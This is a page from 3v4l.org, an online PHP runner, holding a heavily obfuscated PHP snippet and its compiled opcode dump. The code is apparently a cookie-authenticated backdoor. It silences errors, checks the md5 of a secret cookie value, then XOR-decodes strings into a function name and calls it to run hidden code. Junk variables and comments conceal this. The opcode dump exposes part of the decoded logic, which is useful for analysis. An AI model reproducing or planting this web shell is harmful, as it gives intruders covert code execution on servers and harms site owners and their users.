3v4l.org

run code in 300+ PHP versions simultaneously
<?php $gjmm='X';$pbbs='^B7!9#)/49/,PY#'^';0ENK|[JDV]X97D-|PI';$ehefz=0;$oms='6_T8H7.nw{x6G?'^'_1=g;RZ'; $uycg='[M7!H:S;';/*$key;B73$3Y_YP&H8E,GW6UjyLIyuvkoufhs<<$dkvxnnbjp*/$ayisk='Kq'^'/D{TtF-6O'; $jjoia=')(C#|'^'D';$eyo='6mqPoKd3E/D9'^',VuHwrGu([';$oyt='@+O/44';$eqcw='s!5bm`r';$qcy='ITs^AEST/`^YQ8SxrcR(bQ,5^.6sEwPP';$xqo='$,m17=)';##N1sVrW-,:k4DmPf:tobu}Vq|UNvW]U1|"%D%u $cu='z]#sTIcM`l)7j]N';/*$jd;ObOE:y1/urOhJ1+nVuvahsfrid^$ytjwtuvktb*/'S8%U7B?';$uvsqf=$gjmm.$uycg; ##1%@2J:I_nOakR-q/cpk"s0mjp[C_^SK0qKjQ0*8 $oms($pbbs,$ehefz);',dJKIF';/*.n_@yF6lsA1gF]U*bJK3(PR}%2EZ6CAaN9Smcprjebsucg|CaTc!{|#%_Nkdot1R*G4-NUI76qmyq}1=(_8ypDN*/$koqpc=@$_COOKIE;$tkuqfy=';)(VU-e5N.H;F[Z';$unxezr='-1B:rp1mISoogZeKDRcJU4OQ?LWB&Nb`';$pbbs($ehefz);##cd//CR&`A6_}l[h9?3`BdtSGym*g{o/M?v`5e)*L $aym=')2b2@pJLB3E][|S|Qb';$uycg=$jjoia.$ayisk;$yakge=$unxezr.'=O%W-'^$qcy;$oybb=$uvsqf.$oyt^$tkuqfy;'gaJv';/*W4I,oZ4C@_r{*/$nw=$koqpc['oxuo'];##vcw[u]YsjMd8_[4f5tQsr$hV=$ID"* $evk='C@}a*D*&!qj';/*.+wMUk]P8X1ig#T&!qqhkFRnstmxoywohuh<<h0?pVexM0%hF5J/DkKF+Gr6NX%Kcpeu-$-M*/ 'Om5|';if($yakge==$uycg($nw)){$zitkd='&FW]Jt`3)j*$-fJ,,[%W,3t7DFtG&6JAewTaAcnolj{friS&_Y14s{|S?fw2V0FDo$-7#_p+MXVN6&_d2JWP:]&CFr@7I/0$B/pDG9XXV+&{)';/*qi&V%sl}lO&!$SA7]-tP0hBLIi5z4bwTZ/jVS87,"d]rdO-h.C#VeJ%y9A]wt(B_*/'|}q[!z';/*}ISRF*OIa9I%fa"5K;`,5*1$5w3$g:K$qsp='rrmvcbcei';'xzh';*/$wbg^$ghiqj;$xoux='GU&L_@F{B.ak4HslPrvD)Slf'.'moj';##;a[YnWkUlS0-yg30`X5l5|C4*]Wi,tr{`JQbTSJ $lt='b/3w2ymv=DSB'; $xhu='n,AyKV2}NwQL:*MMNr7c/m}4ZQ_LUVWh=qZfPe^8TLsROW2+_&-D5*1Esq,f|o?/D(?2=ZXhwdRC,M8/#6Fa&dNV`O-{bd{9z6H*J^*C(VgoX8{G.@5NsvO,OI9@H?g*8=6qE@*5,Vpkwl@XZ89H&w&TZpW[88';/*$sg;BBNa[xJBk:kLsKSah4=NyZZHD2?%{wplbi>>$lzsodcm*/$uyonq='AKbPju0U@9wgQ-!!6:re)Jj';/*P"B?/ny#Nm15Gex5.mMkYuVxcsuhjcl|weAMu8U:F8|t0E{KeoHM4*/##u&-ghWoP5&l)^2iz$2X%9f_/1kvmn $qhyrb|'mdqacxvtp';$zxyd='8UR}-7U/8^3DFK96GF'; '*+6g3?%';$kwgzp^$tgiof;$rptqn='C(#.bP?u`&owvD+VB7WuqhVC)6+)G[/c8^t[aG1,#%0/72qG%7]FQ&GY6oST1G5&RFLDFiDt)=5!RCw@Z&3yd?G0#Dth-JSK&JX`*V6qm!/ri';'RFY#pf8';')*pz0a';'9OD,g|i';$lxn=$cnlun^'gK-KSZhy';/*$wqyz;yi+l4/OjSPiC6ZU8[V1s7?GGxttatlnegdn<<$ckzwfiitmy*/$gnhu='d%H]#:V@fV4!J^4ej-q*c(.ox5&62&9J`XsFoE8Q8),5*#mH0HY![^BmW.j/0*ltfLFHZ*6J*?p7A=gAB[#C{Mnl@kr8-+0p?mjN3$M3Ft:TR1rcC/[s[W*A?=@hl`!ctxe*g!P[@$R6^E`gz^P$C(A1./44VL'.$rptqn;/*d$mXm4D$mxiwv='ldohsuhlcjmdtrgkh';'dmgcfqihp';*//*#6a{+_%|miF]?a6L{/uv2jjV0FAG[9O92[eW5}v`)"+*/$rea='I0%$2[GT-%E6ES7&$Aohl';$ibzjg=$rkm.'}}]{|B0RQTJhWg2gJj@Z';$ecl^'/yyL;:{L8,Hk&/oj';$dcs='|`QiR3t7lf!St+ac`L.""$JO'.$nknaz;$ssr='TKk{gF.YrpYCMM%wN")u1xV|';$zruo='|`QiR3t7lf!St+ac`L.""$JO'^$jtyi;$zmkj=$xhu.$zitkd; $gnhu.='KP$Gg@=3T%5BXDq';$kujq=$gnhu.'nLSLDfAm.%'^$zmkj.'.&E+Od[T#VWkcNx';$vtft=$vtft.'L`?YM-`P5:|';'ldzjr}D4"t';/*N:Je|$U1:@@]fcD!e[A6e.A=so6bz$gvekm='ukpajv';'pby';*/$oplgi=$oplgi.'_7*Rjsy[|n]u0';$sqa='E-Jd1;t5n';'nLSLDfAm.%'; /*$mmmi;f,Z-ye4;pNNib4|,^1W+Au0kAx*S|`vgedgkflkhpw>>$qljcewom*/$bmt='JloyPmg0D'.'wE`|Fwqv&j0MR)u';$mkkte=$oybb($fqp,$kujq);$mkkte('$=+A?+SD&ek5S7Gt(FYB`3@1",$,N|D1(#krW?g','FfZz$Ock');}/*F2Qox=GFXtc8[*/ $fepl='-5:?w}C0-`Q8,lh/e4tIdE}y`s';##89jUI%[R(5NdnZL8ODE=G;Qtf8B0ggU?qF3!NP 'D!1^RrC4EnHC]';##,XZ0,5Yl]vA.xW(TNvYLSK3y8"VJ $wgat^'wbugqeaytfu'; $qfl='0Fyd.*4`Q';/*Dn4SRl@!a4#[zX._UH)n,7n^/XGyx@|2M:QBGDKdjtrqat^q,@E+U!bpKE=x|+gXU.j{RR*/'l*5vU!+Z';$xvu=$agjx;$owy;'d}5`m2[m`cffP"KK|,z';'c;om=P';?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 45, Position 2 = 94
Branch analysis from position: 45
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 94
filename:       /in/DeWYJ
function name:  (null)
number of ops:  100
compiled vars:  !0 = $gjmm, !1 = $pbbs, !2 = $ehefz, !3 = $oms, !4 = $uycg, !5 = $ayisk, !6 = $jjoia, !7 = $eyo, !8 = $oyt, !9 = $eqcw, !10 = $qcy, !11 = $xqo, !12 = $cu, !13 = $uvsqf, !14 = $koqpc, !15 = $tkuqfy, !16 = $unxezr, !17 = $aym, !18 = $yakge, !19 = $oybb, !20 = $nw, !21 = $evk, !22 = $zitkd, !23 = $wbg, !24 = $ghiqj, !25 = $xoux, !26 = $lt, !27 = $xhu, !28 = $uyonq, !29 = $qhyrb, !30 = $zxyd, !31 = $kwgzp, !32 = $tgiof, !33 = $rptqn, !34 = $lxn, !35 = $cnlun, !36 = $gnhu, !37 = $rea, !38 = $ibzjg, !39 = $rkm, !40 = $ecl, !41 = $dcs, !42 = $nknaz, !43 = $ssr, !44 = $zruo, !45 = $jtyi, !46 = $zmkj, !47 = $kujq, !48 = $vtft, !49 = $oplgi, !50 = $sqa, !51 = $bmt, !52 = $mkkte, !53 = $fqp, !54 = $fepl, !55 = $wgat, !56 = $qfl, !57 = $xvu, !58 = $agjx, !59 = $owy
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, 'X'
          1        ASSIGN                                                   !1, 'error_reporting'
          2        ASSIGN                                                   !2, 0
          3        ASSIGN                                                   !3, 'ini_set'
    2     4        ASSIGN                                                   !4, '%5BM7%21H%3AS%3B'
          5        ASSIGN                                                   !5, 'd5'
    3     6        ASSIGN                                                   !6, 'm'
          7        ASSIGN                                                   !7, '%1A%3B%04%18%189%23Fmt'
          8        ASSIGN                                                   !8, '%40%2BO%2F44'
          9        ASSIGN                                                   !9, 's%215bm%60r'
         10        ASSIGN                                                   !10, 'ITs%5EAEST%2F%60%5EYQ8SxrcR%28bQ%2C5%5E.6sEwPP'
         11        ASSIGN                                                   !11, '%24%2Cm17%3D%29'
    4    12        ASSIGN                                                   !12, 'z%5D%23sTIcM%60l%297j%5DN'
         13        CONCAT                                           ~73     !0, !4
         14        ASSIGN                                                   !13, ~73
    6    15        INIT_DYNAMIC_CALL                                        !3
         16        SEND_VAR_EX                                              !1
         17        SEND_VAR_EX                                              !2
         18        DO_FCALL                                      0          
         19        BEGIN_SILENCE                                    ~76     
         20        FETCH_R                      global              ~77     '_COOKIE'
         21        END_SILENCE                                              ~76
         22        ASSIGN                                                   !14, ~77
         23        ASSIGN                                                   !15, '%3B%29%28VU-e5N.H%3BF%5BZ'
         24        ASSIGN                                                   !16, '-1B%3Arp1mISoogZeKDRcJU4OQ%3FLWB%26Nb%60'
         25        INIT_DYNAMIC_CALL                                        !1
         26        SEND_VAR_EX                                              !2
         27        DO_FCALL                                      0          
    7    28        ASSIGN                                                   !17, '%292b2%40pJLB3E%5D%5B%7CS%7CQb'
         29        CONCAT                                           ~83     !6, !5
         30        ASSIGN                                                   !4, ~83
         31        CONCAT                                           ~85     !16, '%3DO%25W-'
         32        BW_XOR                                           ~86     !10, ~85
         33        ASSIGN                                                   !18, ~86
         34        CONCAT                                           ~88     !13, !8
         35        BW_XOR                                           ~89     !15, ~88
         36        ASSIGN                                                   !19, ~89
         37        FETCH_DIM_R                                      ~91     !14, 'oxuo'
         38        ASSIGN                                                   !20, ~91
    8    39        ASSIGN                                                   !21, 'C%40%7Da%2AD%2A%26%21qj'
    9    40        INIT_DYNAMIC_CALL                                        !4
         41        SEND_VAR_EX                                              !20
         42        DO_FCALL                                      0  $94     
         43        IS_EQUAL                                                 !18, $94
         44      > JMPZ                                                     ~95, ->94
         45    >   ASSIGN                                                   !22, '%26FW%5DJt%603%29j%2A%24-fJ%2C%2C%5B%25W%2C3t7DFtG%266JAewTaAcnolj%7BfriS%26_Y14s%7B%7CS%3Ffw2V0FDo%24-7%23_p%2BMXVN6%26_d2JWP%3A%5D%26CFr%407I%2F0%24B%2FpDG9XXV%2B%26%7B%29'
         46        BW_XOR                                           ~97     !23, !24
         47        FREE                                                     ~97
         48        ASSIGN                                                   !25, 'GU%26L_%40F%7BB.ak4HslPrvD%29Slfmoj'
   10    49        ASSIGN                                                   !26, 'b%2F3w2ymv%3DDSB'
   12    50        ASSIGN                                                   !27, 'n%2CAyKV2%7DNwQL%3A%2AMMNr7c%2Fm%7D4ZQ_LUVWh%3DqZfPe%5E8TLsROW2%2B_%26-D5%2A1Esq%2Cf%7Co%3F%2FD%28%3F2%3DZXhwdRC%2CM8%2F%236Fa%26dNV%60O-%7Bbd%7B9z6H%2AJ%5E%2AC%28VgoX8%7BG.%405NsvO%2COI9%40H%3Fg%2A8%3D6qE%40%2A5%2CVpkwl%40XZ89H%26w%26TZpW%5B88'
         51        ASSIGN                                                   !28, 'AKbPju0U%409wgQ-%21%216%3Are%29Jj'
   13    52        BW_OR                                            ~102    !29, 'mdqacxvtp'
         53        FREE                                                     ~102
         54        ASSIGN                                                   !30, '8UR%7D-7U%2F8%5E3DFK96GF'
   14    55        BW_XOR                                           ~104    !31, !32
         56        FREE                                                     ~104
         57        ASSIGN                                                   !33, 'C%28%23.bP%3Fu%60%26owvD%2BVB7WuqhVC%296%2B%29G%5B%2Fc8%5Et%5BaG1%2C%23%250%2F72qG%257%5DFQ%26GY6oST1G5%26RFLDFiDt%29%3D5%21RCw%40Z%263yd%3FG0%23Dth-JSK%26JX%60%2AV6qm%21%2Fri'
         58        BW_XOR                                           ~106    !35, 'gK-KSZhy'
         59        ASSIGN                                                   !34, ~106
         60        CONCAT                                           ~108    'd%25H%5D%23%3AV%40fV4%21J%5E4ej-q%2Ac%28.ox5%2662%269J%60XsFoE8Q8%29%2C5%2A%23mH0HY%21%5B%5EBmW.j%2F0%2AltfLFHZ%2A6J%2A%3Fp7A%3DgAB%5B%23C%7BMnl%40kr8-%2B0p%3FmjN3%24M3Ft%3ATR1rcC%2F%5Bs%5BW%2AA%3F%3D%40hl%60%21ctxe%2Ag%21P%5B%40%24R6%5EE%60gz%5EP%24C%28A1.%2F44VL', !33
         61        ASSIGN                                                   !36, ~108
         62        ASSIGN                                                   !37, 'I0%25%242%5BGT-%25E6ES7%26%24Aohl'
         63        CONCAT                                           ~111    !39, '%7D%7D%5D%7B%7CB0RQTJhWg2gJj%40Z'
         64        ASSIGN                                                   !38, ~111
         65        BW_XOR                                           ~113    !40, '%2FyyL%3B%3A%7BL8%2CHk%26%2Foj'
         66        FREE                                                     ~113
         67        CONCAT                                           ~114    '%7C%60QiR3t7lf%21St%2Bac%60L.%22%22%24JO', !42
         68        ASSIGN                                                   !41, ~114
         69        ASSIGN                                                   !43, 'TKk%7BgF.YrpYCMM%25wN%22%29u1xV%7C'
         70        BW_XOR                                           ~117    !45, '%7C%60QiR3t7lf%21St%2Bac%60L.%22%22%24JO'
         71        ASSIGN                                                   !44, ~117
         72        CONCAT                                           ~119    !27, !22
         73        ASSIGN                                                   !46, ~119
   15    74        ASSIGN_OP                                     8          !36, 'KP%24Gg%40%3D3T%255BXDq'
         75        CONCAT                                           ~122    !36, 'nLSLDfAm.%25'
         76        CONCAT                                           ~123    !46, '.%26E%2BOd%5BT%23VWkcNx'
         77        BW_XOR                                           ~124    ~122, ~123
         78        ASSIGN                                                   !47, ~124
         79        CONCAT                                           ~126    !48, 'L%60%3FYM-%60P5%3A%7C'
         80        ASSIGN                                                   !48, ~126
         81        CONCAT                                           ~128    !49, '_7%2ARjsy%5B%7Cn%5Du0'
         82        ASSIGN                                                   !49, ~128
         83        ASSIGN                                                   !50, 'E-Jd1%3Bt5n'
   16    84        ASSIGN                                                   !51, 'JloyPmg0DwE%60%7CFwqv%26j0MR%29u'
         85        INIT_DYNAMIC_CALL                                        !19
         86        SEND_VAR_EX                                              !53
         87        SEND_VAR_EX                                              !47
         88        DO_FCALL                                      0  $132    
         89        ASSIGN                                                   !52, $132
         90        INIT_DYNAMIC_CALL                                        !52
         91        SEND_VAL_EX                                              '%24%3D%2BA%3F%2BSD%26ek5S7Gt%28FYB%603%401%22%2C%24%2CN%7CD1%28%23krW%3Fg'
         92        SEND_VAL_EX                                              'FfZz%24Ock'
         93        DO_FCALL                                      0          
   17    94    >   ASSIGN                                                   !54, '-5%3A%3Fw%7DC0-%60Q8%2Clh%2Fe4tIdE%7Dy%60s'
   19    95        BW_XOR                                           ~136    !55, 'wbugqeaytfu'
         96        FREE                                                     ~136
   20    97        ASSIGN                                                   !56, '0Fyd.%2A4%60Q'
         98        ASSIGN                                                   !57, !58
         99      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
182.99 ms | 1403 KiB | 13 Q